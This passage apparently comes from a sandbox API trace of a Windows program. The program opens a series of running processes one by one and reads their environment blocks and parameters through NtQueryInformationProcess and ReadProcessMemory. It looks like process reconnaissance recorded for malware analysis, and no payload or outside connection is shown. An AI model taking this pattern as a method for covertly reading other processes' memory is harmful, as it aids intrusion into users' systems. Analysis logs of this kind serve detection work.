(in: _Value=0x924, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2340") returned 0x0 [0353.744] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2340") returned 4 [0353.744] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.744] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.745] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x924) returned 0xa9c [0353.745] GetLastError () returned 0x0 [0353.745] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0353.745] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x284018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0353.745] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0353.746] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4724e0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0353.746] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x472118, lpBuffer=0x5ec5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.746] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0353.746] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0353.746] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x284020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0353.746] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x471ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0353.746] malloc (_Size=0x76) returned 0xea8ca0 [0353.746] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x472164, lpBuffer=0xea8ca0, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8ca0*, lpNumberOfBytesRead=0x0) returned 1 [0353.748] free (_Block=0xea8ca0) [0353.748] CloseHandle (hObject=0xa9c) returned 1 [0353.748] _ui64tow_s (in: _Value=0xbbc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3004") returned 0x0 [0353.748] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3004") returned 4 [0353.749] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.749] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.750] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbbc) returned 0xa9c [0353.750] GetLastError () returned 0x0 [0353.750] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0353.750] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1075018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0353.750] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0353.750] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x14041e0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0353.750] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1403c76, lpBuffer=0x5ec5a0, nSize=0xd4, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.751] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0353.751] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0353.751] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1075020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0353.751] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1403590, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0353.752] malloc (_Size=0x14c) returned 0xe9a850 [0353.752] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1403d4a, lpBuffer=0xe9a850, nSize=0x14a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe9a850*, lpNumberOfBytesRead=0x0) returned 1 [0353.753] free (_Block=0xe9a850) [0353.753] CloseHandle (hObject=0xa9c) returned 1 [0353.753] _ui64tow_s (in: _Value=0xc1c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3100") returned 0x0 [0353.754] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3100") returned 4 [0353.754] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.754] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.755] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc1c) returned 0xa9c [0353.755] GetLastError () returned 0x0 [0353.762] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0353.762] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x27c018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0353.762] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0353.763] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403df0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0353.763] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a38, lpBuffer=0x5ec5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.763] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0353.764] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0353.764] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x27c020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0353.764] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4033f0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0353.764] malloc (_Size=0x64) returned 0xeb6310 [0353.764] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a84, lpBuffer=0xeb6310, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6310*, lpNumberOfBytesRead=0x0) returned 1 [0353.765] free (_Block=0xeb6310) [0353.765] CloseHandle (hObject=0xa9c) returned 1 [0353.766] _ui64tow_s (in: _Value=0xca4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3236") returned 0x0 [0353.766] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3236") returned 4 [0353.766] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.766] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.768] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xca4) returned 0xa9c [0353.768] GetLastError () returned 0x0 [0353.768] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0353.768] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7c9018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0353.768] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0353.769] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x8040a0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0353.769] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x803be4, lpBuffer=0x5ec5a0, nSize=0x96, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.770] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0353.770] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0353.770] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7c9020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0353.774] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x803520, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0353.774] malloc (_Size=0x11a) returned 0xe76890 [0353.774] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x803c7a, lpBuffer=0xe76890, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe76890*, lpNumberOfBytesRead=0x0) returned 1 [0353.775] free (_Block=0xe76890) [0353.776] CloseHandle (hObject=0xa9c) returned 1 [0353.776] _ui64tow_s (in: _Value=0xd04, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3332") returned 0x0 [0353.776] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3332") returned 4 [0353.776] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.776] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.777] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xd04) returned 0xa9c [0353.777] GetLastError () returned 0x0 [0353.777] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0353.777] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x265018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0353.777] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0353.777] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403df0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0353.778] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a38, lpBuffer=0x5ec5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.778] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0353.778] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0353.778] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x265020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0353.778] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4033f0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0353.778] malloc (_Size=0x64) returned 0xeb6620 [0353.778] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a84, lpBuffer=0xeb6620, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6620*, lpNumberOfBytesRead=0x0) returned 1 [0353.779] free (_Block=0xeb6620) [0353.779] CloseHandle (hObject=0xa9c) returned 1 [0353.779] _ui64tow_s (in: _Value=0xf20, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3872") returned 0x0 [0353.780] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3872") returned 4 [0353.780] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.780] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.780] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf20) returned 0xa9c [0353.781] GetLastError () returned 0x0 [0353.781] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0353.781] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x342018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0353.781] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0353.781] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d24e0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0353.781] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2118, lpBuffer=0x5ec5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.781] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0353.782] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0353.782] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x342020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0353.782] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d1ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0353.782] malloc (_Size=0x64) returned 0xeb6310 [0353.782] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2164, lpBuffer=0xeb6310, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6310*, lpNumberOfBytesRead=0x0) returned 1 [0353.782] free (_Block=0xeb6310) [0353.783] CloseHandle (hObject=0xa9c) returned 1 [0353.783] _ui64tow_s (in: _Value=0xf60, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3936") returned 0x0 [0353.783] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3936") returned 4 [0353.783] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.783] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.784] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf60) returned 0xa9c [0353.784] GetLastError () returned 0x0 [0353.784] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0353.784] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2a8018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0353.784] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0353.784] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d70, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0353.785] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.785] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0353.785] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0353.785] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2a8020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0353.785] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0353.785] malloc (_Size=0x8c) returned 0xec7840 [0353.785] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xec7840, nSize=0x8a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec7840*, lpNumberOfBytesRead=0x0) returned 1 [0353.786] free (_Block=0xec7840) [0353.790] CloseHandle (hObject=0xa9c) returned 1 [0353.791] _ui64tow_s (in: _Value=0xee4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3812") returned 0x0 [0353.791] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3812") returned 4 [0353.791] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.791] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.792] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xee4) returned 0xa9c [0353.792] GetLastError () returned 0x0 [0353.792] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0353.792] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x22a018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0353.792] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0353.792] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a2490, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0353.792] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a2118, lpBuffer=0x5ec5a0, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.793] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0353.793] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0353.793] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x22a020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0353.793] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a1ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0353.793] malloc (_Size=0x2c) returned 0xe72370 [0353.793] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a216a, lpBuffer=0xe72370, nSize=0x2a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe72370*, lpNumberOfBytesRead=0x0) returned 1 [0353.794] free (_Block=0xe72370) [0353.794] CloseHandle (hObject=0xa9c) returned 1 [0353.794] _ui64tow_s (in: _Value=0xf64, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: 